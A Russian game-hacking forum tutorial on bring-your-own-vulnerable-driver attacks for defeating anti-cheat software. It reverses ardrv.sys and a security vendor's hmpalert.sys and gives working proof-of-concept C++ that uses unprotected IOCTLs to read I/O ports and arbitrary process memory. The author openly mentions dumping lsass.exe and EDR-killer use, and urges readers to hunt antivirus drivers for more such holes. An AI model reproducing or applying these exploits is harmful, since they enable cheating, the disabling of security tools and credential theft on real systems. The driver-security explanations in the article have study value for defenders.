Информация Гайд [GameHacking] Эксплуатация Windows-драйверов для вашего чита и для последующей разработки kdmapper-а.

sashka123555

Участник
Автор темы
42
56
Привет. Это моя старая статья, которая была написана еще в Июне, только я удалил. Знаний у меня сейчас стало явно больше, но для понимания базовых концептов для новичков будет полезно)

Технологии эволюционируют, античитерское ПО становится сильнее и мощнее. Большинство современных античитов имеют минимум один драйвер, который имеет полные права в системе. Время когда защита игры основывалась только на статическом анализе процессов и поиске сигнатур в памяти, ушло далеко в прошлое(хоть и все также используется, обычно античит имеет при себе определенную DLL которая работает в адресном пространстве игры), и разработчики читов в курсе этого, поэтому у них возникает логичная проблема, как бороться с современным качественным античитом (например, Vanguard или EAC)? Конечно, можно надеяться на то, что игра обладает каким-то дырявым драйвером, но сожалению в современных реалиях это не так), а делать читы на неизвестные игры это невыгодно, а для читов на такие игры как Rust(официальный) необходим драйвер. Чтобы обходить подобные продвинутые решения, они прибегают к технике BYOVD.

При атаке через BYOVD у кодера всегда есть уязвимый легитимный драйвер, но его ищут двумя путями, первый это просто в наглую взять готовый паблик-драйвер с сайта LOLDrivers, где их лежит целая куча. Но такие общеизвестные драйверы античиты моментально заносят в блеклисты и блокируют через каллбеки(например используя PsSetLoadImageNotifyRoutine, или через ELAM) . Второй вариант намного интереснее - расковырять и найти уязвимость вручную в каком-нибудь старом системном драйвере или софте для разгона видюхи, имхо это дает уникальный вектор атаки, ну, потому что драйвера нет нигде в паблике соответственно в черные списки его заносить нет причин.

Статья разделяется на части - первая и вторая. Во второй части я объясню все необходимые термины, которые должен знать человек, и на практике проэксплуатируем настоящий драйвер, предварительно пореверсив два драйвера, где уже защита используется, чтобы у читателя вообще было понимание как выглядит драйвер без дырявой настройки прав доступа. Первая же часть это просто что-то на уровне "показать, процесс эксплуатации".

Введение.
Любой процесс эксплуатации драйверов начинается с самого первого важного этапа, а именно разведки. Для сбора информации касаемо драйверов можно, например, воспользоваться утилитой типа Driver Explorer и уже, собственно говоря, с ее помощью копать в нужную сторону и искать необходимые драйверы.
Но все же данная статья является введением, поэтому автор решил взять уязвимый драйвер и показать процесс эксплуатации уязвимости в нем (в частности, той, которая завязана вокруг дырявого SDDL, но об этом - понемногу).

Данная статья писалась исключительно для людей, которые хотят углубиться в это дело, или почти не имеют знаний в данном направлении.

Немного про работу драйверов.
Драйвер - это файл, который относится к PE формату (исполняемые файлы Windows), у драйвера точно так же, как и у .exe файла присутствуют таблицы импорта и экспорта, секции, точка входа и другие структуры, характерные для формата PE. Драйвер точно также, как и обычный EXE/DLL обладает своей индивидуальной таблицой импорта, в которой хранятся функции, которые использует этот самый драйвер, например скриншот с драйвера античита EAC:
1790464182338.png

Подробнее, кстати, можете почитать тут - https://habr.com/ru/articles/266831/​

Основное отличие заключается в том, что драйвер выполняется не в пользовательском режиме, а в режиме ядра, имея значительно более высокий уровень привилегий, в следствие чего, драйвер может взаимодействовать с объектами ядра, выполнять операции с физической и виртуальной памятью, предоставлять пользовательским приложениям интерфейс для взаимодействия с оборудованием или собственными механизмами через объект устройства DEVICE_OBJECT.
Конечно же в случае, если внутри самого обработчика IOCTL заложена та или иная логика.

Механизм взаимодействия пользовательского режима с ядром.
Как уже было сказано выше, драйвер работает в режиме ядра, а обычное приложение - в пользовательском режиме, из соображений безопасности пользовательское приложение не может просто взять и вызвать какую-нибудь функцию внутри драйвера, для этого в Windows предусмотрен специальный механизм взаимодействия между пользовательским режимом и режимом ядра. В большинстве случаев все строится вокруг объекта устройства (DEVICE_OBJECT). Во время своего запуска, а если быть точным инициализации, драйвер создает объект устройства, после чего, как правило, регистрирует для него символьную ссылку, а уже по этой ссылке пользовательское приложение в дальнейшем сможет получить доступ к драйвер(точнее, не полноценный, но об этом дальше).

Как правило, драйвер внутри главной функции(DriverEntry) проводит несколько этапов настройки самого драйвера:
1. Регистрирует объект устройства IoCreateDevice;
C:
NTSTATUS device = IoCreateDevice(DriverObject, sizeof(ULONG), &deviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &deviceObject);
    if (!NT_SUCCESS(device)) return device;
2. Создает символьную ссылку IoCreateSymbolicLink через которую пользовательское приложение сможет открыть устройство;
C++:
device = IoCreateSymbolicLink(&shield::core::symLinkName, &deviceName);
    if (!NT_SUCCESS(device))
    {
        IoDeleteDevice(deviceObject);
        return device;
    }
3. Регистрирует обработчики IRP-запросов;
C++:
DriverObject->MajorFunction[IRP_MJ_CREATE] = IRPCREATECLOSE;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IRPCREATECLOSE;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControl;

IRP - это специальная структура, при помощи которой диспетчер ввода-вывода Windows передает драйверу различные запросы, т.е практически любое взаимодействие с драйвером происходит именно через IRP. В приведенном выше примере я зарегистрировал три обработчика. Каждый из них отвечает за определенный тип запроса.
1. IRP_MJ_CREATE вызывается в момент открытия устройства, например при вызове CreateFileW;
2. IRP_MJ_CLOSE вызывается при закрытии дескриптора устройства;
3. IRP_MJ_DEVICE_CONTROL вызывается тогда, когда пользовательское приложение обращается к драйверу через функцию DeviceIoControl.

Конкретно этот обработчик чаще всего представляет интерес при анализе уязвимых драйверов, поскольку в нем находится логика обработки IOCTL-запросов, в частности любой реверсер в первую очередь переходит на диспетчер этого IRP-шника, и начинает проводить анализ там(но, есть один шаг, который будет разобран в будущем). В дизассемблерном коде это дело выглядит так(на примере моего левого драйвера):

1790464322561.png

Процесс регистрации IRP-обработчиков.​
Проще говоря, когда приложение вызывает CreateFileW условно, чтобы открыть дескриптор, или же DeviceIoControl чтобы отправить запрос драйверу с IOCTL-кодом, управление не попадает в драйвер напрямую. Сначала Windows формирует IRP-пакет, после чего передает его соответствующему обработчику, который разработчик зарегистрировал в DriverObject/MajorFunction.
4. После этого драйвер заполняет необходимые поля структуры DRIVER_OBJECT;
5. При необходимости выполняет дополнительную инициализацию внутренних структур, выделяет память, регистрирует различные каллбеки(антивирусы/античиты) и прочее, но это нам неинтересно.

Разберем более подробно, только с точки зрения юзер-мода. После того как драйвер загрузился и создал устройство, пользовательское приложение может открыть его обычным вызовом CreateFile/W:
C++:
HANDLE device = CreateFileA(
    "\\\\.\\ardrv",
    GENERIC_READ | GENERIC_WRITE,
    0,
    nullptr,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    nullptr
);

if (device == INVALID_HANDLE_VALUE)
{
    std::printf("error");
    return 0;
}
После инициализации этого когда Windows вернет дескриптор объекта утройства, через который приложение сможет общаться с драйвером. Несмотря на название функции, никакой файл код не открывает.
После получения дескриптора можно отправлять различные запросы при помощи функции DeviceIoControl
C++:
DWORD bytesReturned;
DeviceIoControl(
    hDevice,
    IOCTL_VULN_OPERATION,
    &InputBuffer,
    sizeof(InputBuffer),
    &OutputBuffer,
    sizeof(OutputBuffer),
    &bytesReturned,
    nullptr
);
1. Первый параметр передается дескриптор устройства(который был получен после вызова CF);
2. Вторым параметром передается IOCTL код, который определяет, какое именно действие должен выполнить драйвер. Остальные же параметры содержат входные и выходные данные. Более подробно ознакомится с этой функцией вы можете в документации MSDN.

Когда приложение вызывает DeviceIoControl, диспетчер ввода-вывода (I/O Manager) формирует структуру IRP и передает ее драйверу, после чего управление попадает в обработчик IRP_MJ_DEVICE_CONTROL, где разработчик самостоятельно реализует обработку каждого IOCTL:
C++:
static NTSTATUS DeviceControl
(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
)
{
    PIO_STACK_LOCATION stack =
        IoGetCurrentIrpStackLocation(Irp);

    switch (stack->Parameters.DeviceIoControl.IoControlCode)
    {
    case IOCTL_OPERATION:

        //
        // обработка
        //

        break;

    default:
        break;
    }

    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return STATUS_SUCCESS;
}
В частности здесь обычно и находится интересующая нас логика, в случае если разработчик допустил ошибку при проверке входных данных, обработке указателей или настройке прав доступа к устройству, пользовательское приложение сможет воспользоваться этим и выполнить действия, которые изначально не должны были быть ему доступны. В рамках данной статьи нас интересует именно второй случай - неправильная настройка прав доступа к объекту устройства, из-за этого любой пользователь может открыть дескриптор устройства и беспрепятственно отправлять драйверу IOCTL-запросы, что в дальнейшем и позволит перейти к эксплуатации уязвимости, например, мы смжоем читать физическую память.

Поиск публичных уязвимых драйверов.
1790464461713.png

​
Искать уязвимые драйвер мы будем на таком прекрасном сайте как - LolDrivers. Это сайт специально создан для того, чтобы выкладывать уязвимые драйверы.
Также грех не подметить, что как раз таки данный сайт может использоваться и разработчиками античитов, чтобы вносить драйверы в черный список, все таки никто не будет отрицать, что читоделы любят использовать даже те уязвимые драйверы, которые находятся на этом сайте, с надеждой, что их еще не внесли в базу. Для анализа я решил взять драйвер ardrv.sys.

Анализ публичного ardrv.sys и разработка PoC.
Начнем анализ драйвера. Первым делом загружаем его в дизассемблер, в моем случае это IDA Pro, после чего переходим в главную функцию драйвера, а именно в DriverEntry. Отсюда обычно и начинается анализ практически любого драйвера, здесь выполняется его инициализация: создаются объекты устройства, регистрируются обработчики IRP-запросов, задаются права доступа к устройству и выполняются другие необходимые действия.
В первую очередь нас интересует регистрация обработчика IRP_MJ_DEVICE_CONTROL., если посмотреть на массив MajorFunction, можно заметить, что этот обработчик находится под индексом 14:
1790464516120.png

​
Именно сюда в дальнейшем будут попадать все вызовы DeviceIoControl, поступающие из пользовательского режима. Поэтому при анализе уязвимых драйверов именно этот обработчик чаще всего становится отправной точкой для дальнейшего реверса.
В первую очередь стоит обратить внимание на отсутствие вызова функции, задающей SDDL для объекта устройства, именно она определяет права доступа к драйверу. Если SDDL отсутствует или настроен неправильно, открыть устройство сможет практически любой пользователь, что уже является первым тревожным сигналом при анализе драйвера. Это уже служит сигналом касаемо того, что с драйвером что-то не так.

Самое важное, что должен запомнить читатель: во время анализа драйвера в первую очередь стоит обратить внимание на несколько вещей:
1. Задает ли драйвер дескриптор безопасности (SDDL) для объекта устройства.
2. Используются ли ACL для ограничения доступа к устройству.
Если ограничения отсутствуют или настроены неправильно, появляется смысл написать небольшой POC, открыть устройство через CreateFile/W и попробовать отправить интересующие IOCTL-запросы. Во многих случаях именно на этом этапе уже можно понять, доступна ли потенциально опасная функциональность обычному пользователю.
В целом отутствие нормальной настройки SDDL/ACL это лишь первый признак того, что драйвер стоит изучить более подробно.
Не замедляемся, переходим в функцию диспетчер и начинаем анализ со switch-кейса:
C++:
 if ( !v10 )
  {
    memmove(&Dst, a2->AssociatedIrp.MasterIrp, CurrentStackLocation->Parameters.Create.Options);
    switch ( v19 )
    {
      case 1:
        v15 = __inbyte(Dst);
        v13 = v15;
        break;
      case 2:
        v14 = __inword(Dst);
        v13 = v14;
        break;
      case 4:
        v12 = __indword(Dst);
        v13 = v12;
        break;
      default:
        v13 = v18;
        break;
    }
    *(_DWORD *)a2->AssociatedIrp.MasterIrp = v13;
    a2->IoStatus.Information = 4;
LABEL_22:
    v4 = 0;
    goto LABEL_26;
  }
  if ( v10 == 4 )
  {
    v11 = sub_11648((PCWSTR)a2->AssociatedIrp.MasterIrp);
LABEL_25:
    v4 = v11;
  }
LABEL_26:
  a2->IoStatus.Status = v4;
  IofCompleteRequest(a2, 0);
  return v4;
}
Первое, что должно броситься в глаза это то, что драйвер без какой-либо проверки использует буфер, полученный из пользовательского режима (AssociatedIrp.MasterIrp), т.е уже на этом этапе становится понятно, что практически все дальнейшие действия будут зависеть от содержимого этого буфера. Далее обработчик анализирует значение переменной v19, после чего вызывает одну из инструкций IN (__inbyte, __inword или __indword). Размер операции определяется значением v19.
То есть фактически предоставляет пользовательскому приложению возможность выполнять чтение из произвольных портов ввода-вывода посредством IOCTL-запроса, подобный функционал сам по себе уже является достаточно чувствительным, поскольку обычное пользовательское приложение не имеет возможности выполнять инструкции IN и OUT напрямую.

Для начала, чтобы вообще понять, можем ли мы открыть устройство, попробуем это сделать и отправить IOCTL-запрос, который находится в swith-кйесе выше. Напишем небольшой POC:
1790464574830.png

Теперь разберем код. В целом самую первую очередь, мы задаем через макрос значение IOCTL-кода, после чего инициализируем небольшую структуру:
C++:
#define IOCTL_OPERATION 37879865

struct INPUT_DATA
{
    USHORT Port;
    ULONG  Value;
    BYTE   Size;
};
Данная структура нужна для передачи данных в драйвер. Как мы видели ранее при анализе обработчика IRP_MJ_DEVICE_CONTROL, драйвер берет пользовательский буфер, копирует его во внутреннюю структуру и уже после этого использует значения из нее.
Поле же PORT хранит номер порта ввода-вывода, с которым будет работать драйвер. В нашем случае туда записывается значение 0x60. Поле Size определяет размер операции. Вспоминаем код из драйвера:
C++:
case 1: __inbyte(Dst); break;
case 2: __inword(Dst); break;
case 4: __indword(Dst); break;
Т.е в зависимости от значения этого поля драйвер выполнит чтение 1, 2 или 4 байт из указанного порта.
Поле же Value в данном случае используется как поле для возвращаемого значения. Перед отправкой запроса мы его не заполняем, потому что драйвер сам запишет туда результат выполнения операции. Далее идет открытие устройства через CreateFileW:
C++:
    HANDLE device = CreateFileW(
        L"\\\\.\\ardrv",
        GENERIC_READ | GENERIC_WRITE,
        0,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        nullptr
    );
Опять же напомню, что файл не открывается,, под капотом Windows обращается к созданному ранее объекту устройства через символьную ссылку \DosDevices\ardrv. В пользовательском режиме она имеет вид \\.\ardrv.
Если дескриптор успешно получен, это уже означает, что ограничения доступа к объекту устройства позволяют текущему пользователю взаимодействовать с драйвером.
После этого заполняем структуру:
C++:
    INPUT_DATA input{};

    input.Port = 0x60;
    input.Size = 1;
В результате мы отправляем драйверу запрос на чтение одного байта из порта 0x60. После чего вызываем основную функцию взаимодействия с драйвером, а именно DeviceIoControl:
C++:
    if (!DeviceIoControl(
        hDevice,
        IOCTL_OPERATION,
        &input,
        sizeof(input),
        &input,
        sizeof(input),
        &bytesReturned,
        nullptr))
    {
        std::printf("DeviceIoControl failed: %lu\n", GetLastError());
        CloseHandle(hDevice);
        return 1;
    }
Первым параметром передается открытый дескриптор устройства, вторым же IOCTL-код, который определяет, какую ветку обработки необходимо выполнить внутри драйвера, следующие параметры отвечают за входной и выходной буфер. В нашем случае используется одна и та же структура, потому что драйвер принимает данные из нее и затем записывает результат обратно.
Если запрос успешно проходит, значит цепочка полностью работает, и пользовательское приложение действительно может управлять функционалом, который разработчик оставил внутри драйвера.
Как видим базовый POC работает нормально. Теперь углубимся и проэксплуатируем не публичный драйвер.

Вторая часть статьи.
Содержание второй части:
1. SDDL и ACL;
2. Попытка номер 1. Драйвер NDKping.sys;
3. Попытка номер 2. Драйвер hmpalert.sys;
4. Заключение;


SDDL и ACL
Начну, пожалуй, с самого важного, что вообще должен знать человек, который читал прошлую статью (в которой про этот термин я не рассказывал).
SDDL является специальным языком, который описывает права доступа (т.е. политики безопасности) к системным объектам в виде компактной текстовой строки. Непосредственно именно в контексте драйверов SDDL задает, какие пользовательские или системные процессы имеют права на обращение к драйверу, его чтение или изменение. В Windows на уровне пользователя (usermode) права разделяются на несколько видов(объясню про самые важные):

1. Пользователь
2. Admin
3. SYSTEM

Соответственно, через настройку SDDL драйвер имеет право ограничить группу, которой запрещено обращаться к нему и, к примеру, открывать его дескриптор через функцию типа CreateFileW. Если же SDDL не настроен должным образом, любой условный вредоносный процесс или непривилегированный пользователь может отправить драйверу команду, которая вызовет сбой системы или скомпрометирует безопасность. А сама же технология SDDL предотвращает это определяя ACL. ACL - это попросту говоря, список контроля доступа, который состоит из отдельных правил, где жестко прописано, что вот определенному пользователю можно читать и писать, а этому вообще сюда лезть нельзя. Когда какая-то юзермод программа пытается достучаться до драйвера через CreateFileW, ОС сверяет права процесса с этим списком, в случае если совпадений нет или стоит явный запрет - система сразу шлет процесс куда подальше с ошибкой Access Denied(5), и до самого драйвера запрос даже не доходит:
1790464893849.png

Сама строка SDDL состоит из 4-х основных блоков, каждый из которых начинается с заглавной буквы и двоеточия:

1. Q(Owner) - владелец объекта(например, SYSTEM);
2. G(Group) - основная группа валдельца;
3. D(DACL) - список контроля доступа, как раз то, про что мы говорили выше. Тут лежат конкретные правила - кому разрешено слать IOCTL-запросы драйверу, а кого система развернет обратно;
4. S(SACL) - список системного аудита;
На практике в драйверах чаще всего вы будете видеть только блок DACL, например вот такая строка как дикая каша из букв: D:(A;;GA;;;SY)(A;;GA;;;BA).

D - открывает список прав. SY - SYSTEM, BA - встроенные админы, а GA дает им полный доступ (Generic All), а вот обычных пользователей (значение BU) в этой строке просто нет, поэтому при попытке открыть дескриптор они и отлетают с ошибкой 5, которая показана выше.

Драйвер NdkPing.sys
Этот драйвер является стандартным системным от Microsoft. Он обеспечивает работу Network Direct для тестирования RDMA-подключений с низкой задержкой напрямую. Чтобы продемонстрировать, как выглядит напичканный безопасностью драйвер, мы возьмем именно его.
Лично от себя могу дать совет - тратить время на поиск уязвимостей в официальных драйверах от Microsoft смысла мало. Каждый такой драйвер хорошенько отшлифован (тем более на старой Windows типа 10). Именно поэтому вы можете наблюдать такой огромный ажиотаж вокруг уязвимых драйверов от условной AMD или Intel, да и в целом от других сторонних вендоров софта.

В главной функции драйвера (DriverEntry) мы можем наблюдать то, как драйвер создает символическое имя. По нему приложение из юзермода может обращаться к его устройству и получать дескриптор. Но важнее обратить внимание на такую функцию диспетчеризации, как DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&RdmaPingDeviceControl, которая располагается под индексом 14. С практикой, когда вы начнете чаще залазить в подобные драйверы и анализировать их, вы начнете замечать, что обычно обработчик IOCTL находится в MajorFunction[IRP_MJ_DEVICE_CONTROL] (индекс 0x0E), хотя драйвер может вообще не реализовывать этот обработчик. Это стоит помнить.

Т.е такое вы будете наблюдать часто потому, что массив MajorFunction в структуре DRIVER_OBJECT содержит указатели на функции обработки пакетов запросов ввода-вывода (IRP), индекс 14 (или 0x0E в шестнадцатеричной системе счисления) как раз соответствует основному коду IRP_MJ_DEVICE_CONTROL. А если вы забыли, я вам напомню самые основные виды IRP:

1. 0x00 - IRP_MJ_CREATE(открытие дескриптора);
2. 0x02 - IRP_MJ_CLOSE(закрытие дескриптора);
3. 0x0E - IRP_MJ_DEVICE_CONTROL(обработка IOCTL запросов из юзермода);
4. 0x0F - IRP_MJ_SHUTDOWN(выключение системы)
5. 0x16 - IRP_MJ_POWER(упралвение питнием)

В данном списке располагаются, на мой взгляд, самые важные IRP-шки, все я перечислять не буду. Непосредственно сам скриншот:

1790464983856.png

​
Если мы перейдем по данной функции, ничего сверхъестественного вы не увидите функция диспетчеризации есть функцией диспетчризации, за одним огромным НО. Это то, как настраивается политика безопасности и в целом защита от взаимодействия драйвера с сомнительными юзермод-процессами. Для настройки политики безопасности драйвер использует ряд функций:
C++:
00000001C000D178        ZwSetSecurityObject
00000001C000D180        RtlSetDaclSecurityDescriptor
00000001C000D1C0        RtlCreateSecurityDescriptor
00000001C000D1D0        RtlLengthSecurityDescriptor
00000001C000D1E0        SeCaptureSecurityDescriptor
00000001C000D1E8        RtlGetSaclSecurityDescriptor
00000001C000D1F0        RtlGetOwnerSecurityDescriptor
00000001C000D1F8        RtlGetGroupSecurityDescriptor
00000001C000D200        RtlGetDaclSecurityDescriptor
В самом начале кода функция динамически импортирует SeConvertStringSecurityDescriptorToSecurityDescriptor через MmGetSystemRoutineAddress. Это стандартная виндовая тема для парсинга текстовой строки SDDL в бинарный дескриптор безопасности, но если этой функции в системе вдруг нет (например, на старых версиях ОС), драйвер переходит к запасному плану и начинает собирать защиту вручную с помощью внутренних механизмов (SepSddlDaclFromSDDLString).

Сначала создается пустой дескриптор безопасности через RtlCreateSecurityDescriptor. Дальше из текстовой строки SDDL вытаскивается готовый список правил доступа (DACL) и привязывается к этому дескриптору через функцию RtlSetDaclSecurityDescriptor. После чего вся эта конструкция переводится в компактный вид с помощью функции RtlAbsoluteToSelfRelativeSD, чтобы ее можно было легко хранить в памяти.
1790465033004.png

​
Последовательно данный процесс можно описать так:

1. Драйвер инициализирует пустой дескриптор в памяти ядра;
2. Из строки SDDL вытаскивается готовый список ограничений и вешается на этот дескриптор;
3. Полученный пирог собирается в компактный бинарный вид для удобного хранения;
4. В памяти ядра забивается отдельный кусок под созданную структуру защиты;
5. Готовый дескриптор накатывается на девайс, закрывая доступ для обычных юзеров;

В результате получаем то, что получаем, при попытке открытия при попытке открытия дескриптора из обычного юзермода, система сразу выдаст ту самую ошибку 5 (Access Denied), которую я показывал чуть выше в консольке.

1790465047844.png

А теперь перейдем к драйверу который забыл реализовать подобную защиту и разберем уже его. Изучим его и попробуем получить цель для BYOVD.

Драйвер hmpalert.sys.
Часа этак два я искал необходимый драйвер для статьи. Но потом вспомнил, что я анализровал драйвер узкоспециализированного антивируса, который используется многими компаниями. Данный антивирус идентифицируется как противоэксплойтное ПО. Познакомимся с их драйвером:
Как и с прошлым драйвером, с этим мы наблюдаем примерно что-то схожее. Драйвер инициализирует символическое имя, по которому можно будет открыть дескриптор устройства. Параллельно с этим показывая нам в открытую функцию диспетчеризации IOCTL-запросов (напомню, она находится под 14 индексом):

1790465141210.png
Самое вкусное в этом драйвере конкретно то, что он является антивирусным. Соответственно, шанс встретить в нем какой-нибудь IOCTL для чтения/записи физической или виртуальной памяти, либо последовательность функций, которые в дальнейшем дадут шанс на LPE (локальное повышение привилегий), довольно высокий. После открытия функции диспетчеризации мы наблюдаем огромное количество кодов:
1790465158498.png

​
Разберем самые интересные из них, а именно:

1. 0x2222CC - прямая работа с памятью(чтение/запись);
2. 0x22220 - получение дескриптора процесса по PID;
C++:
case 0x222220u:
    if ( v11 >= 8uLL ) {
        v104 = *(__int64 **)(a2 + 24);
        v105 = *v104;
 
        v10 = sub_18004B8D0(v105, &v106);
 
        if ( v10 >= 0 ) {
            v107 = *(_DWORD **)(a2 + 24);
            v9 = sub_180001590(v106);
            *v107 = v9;    
            *(_QWORD *)(a2 + 56) = 4;
        }
    }
    break;
Подобная логика интересна может быть, например EDR-киллерам, которые обычно отправляют драйверу в виде IOCTL, PID процесса антивируса и уже из под драйвера килляют этот процесс.
3. 0x222200 - открытие процесса с определенными правами доступа;
4. 0x222108/0x22210C - управление разными событиями;
5. 0x2220F0 - переключение режимов раборты драйвера.


Теперь попробуем открыть дескриптор данного устройства и отправить ему какой-то запрос, например на чтение памяти. Начну с того, что из дизассемблера видно, что драйвер ожидает структуру вида:
C++:
struct MEMORY_RW_REQUEST
{
    ULONG_PTR ProcessId;    // id process
    ULONG_PTR BaseAddress;  //addr
    ULONG_PTR Buffer;       // buffer
    ULONG Size;             // size
};
Непосредственно ключевая проверка буфера в коде выглядит следующим образом:
C++:
if ( *(_QWORD *)(v27 + 16) < (unsigned __int64)MmHighestUserAddress ) {
    if ( *(_QWORD *)(v27 + 16) + (unsigned __int64)*(unsigned int *)(v27 + 24)
         < (unsigned __int64)MmHighestUserAddress ) {
        v10 = sub_18002F820();
    }
}

Т.е, разработчики драйвера пытаются обезопасить систему и проверяют, чтобы переданный нами юзермод-буфер (v27 + 16 это поле Buffer) и его конечный адрес (Buffer + Size) целиком находились в пользовательском адресном пространстве, ниже системной границы MmHighestUserAddress. Но мы можем прочитать данные в любом случае, смысл в том, что эта проверка валидирует только наш локальный буфер (куда запишется результат), чтобы драйвер случайно не затер само ядро, а вот поле BaseAddress (откуда мы хотим прочитать память) в этой проверке вообще никак не участвует.

Соответственно можно попробовать передать в этот базовый адрес абсолютно любой адрес и PID процесса, включая структуры других драйверов, защищенных процессов(например, lsass.exe), в результате драйвер без лишних вопросов пойдет по этому адресу, спокойно скопирует данных и положит их наш в легитимный юзер-мод буфер. Т.е проверка защищает от перезаписи, но никак не мешет полностью слить память наружу. Функция sub_18002F820, кстати, выглядит следующим образом:

1790465227047.png

​
Разберу поверхностно самые важные этапы которые здесь происходят:

1. Драйвер берет переданный нами PID и находит структуру целевого процесса;
2. После чего поток драйвера временно переключается в адресное пространство этого процесса(KeStackAttachProcess);
3. После чего вызывается функция для проверки адреса;
4. Драйвер отключается от процесса.

Исходя из данной информации, мы можем проверить нашу гипотезу касаемо уязвимости и написать небольшой POC. Попробуем почитать память PDF-reader-а процесса и получаем следующее:

1790465245448.png
Исходя из скриншота, мы видим полное подтверждение нашей гипотезы на практике. На левой панели отображается вывод нашего PoC-эксплоита, который успешно нацелился на процесс SumatraPDF.exe. Драйвер без лишних вопросов открыл свой дескриптор 0x4b0 для обычного юзермод-процесса, схавал нашу структуру MEMORY_RW_REQUEST и успешно выполнил IOCTL-запрос 0x222004, в результате получаем дамп байтов вида 0x48/0x89/0x5c/0x24/0x08/0x48/0x89/0x6c. Теперь разберем код.

Для начала нужно было инициализировать структуру, которую мы разбирали выше. Выглядит она следующим образом(напоминаю):
C++:
struct MEMORY_RW_REQUEST
{
    ULONG_PTR ProcessId;
    ULONG_PTR BaseAddress;
    ULONG_PTR Buffer;
    ULONG Size;
};
После чего начинаем заполнять эту структуры данными. В поле процесса закидываем PID процесса, базовый адрес:
C++:
MEMORY_RW_REQUEST request;
request.ProcessId = 12252;  // pid процесса
request.BaseAddress = 0xFFFFF800042A3000;  // адрес
request.Buffer = reinterpret_cast<ULONG_PTR>(&myUserBuffer); // буфер из юзермода
request.Size = 8;
Когда структура готова, мы скармливаем ее функции DeviceIoControl, передавая хэндл устройства и уязвимый IOCTL-код 0x222004:
C++:
DWORD bytesReturned = 0;
BOOL success = DeviceIoControl(
    hDevice,
    0x222004, // ioctl
    &request,
    sizeof(request),
    &request,                              
    sizeof(request),
    &bytesReturned,
    nullptr
);
На этом все. Никаких трудностей, только внимательность и бдительность.

Заключение.
В заключение хотелось бы дать пару советов. А именно - практикуйтесь, пробуйте и прочее. В процессе очень интересно перебирать драйвера и искать в них уязвимости. Также советую смотреть именно антивирусные драйверы, потому что в них очень много вкусных IOCTL-кодов бывает, довольно много антивирусных драйверов имеют уязвимость(тот же 360 total можете глянуть).

Полезный материал:
1. Руководство по поиску багов - https://www.ioactive.com/wp-content...gineering_and_Bug_Hunting_On_KMDF_Drivers.pdf

Всем пока!
 

Вложения

  • 1790464968283.png
    1790464968283.png
    118 KB · Просмотры: 10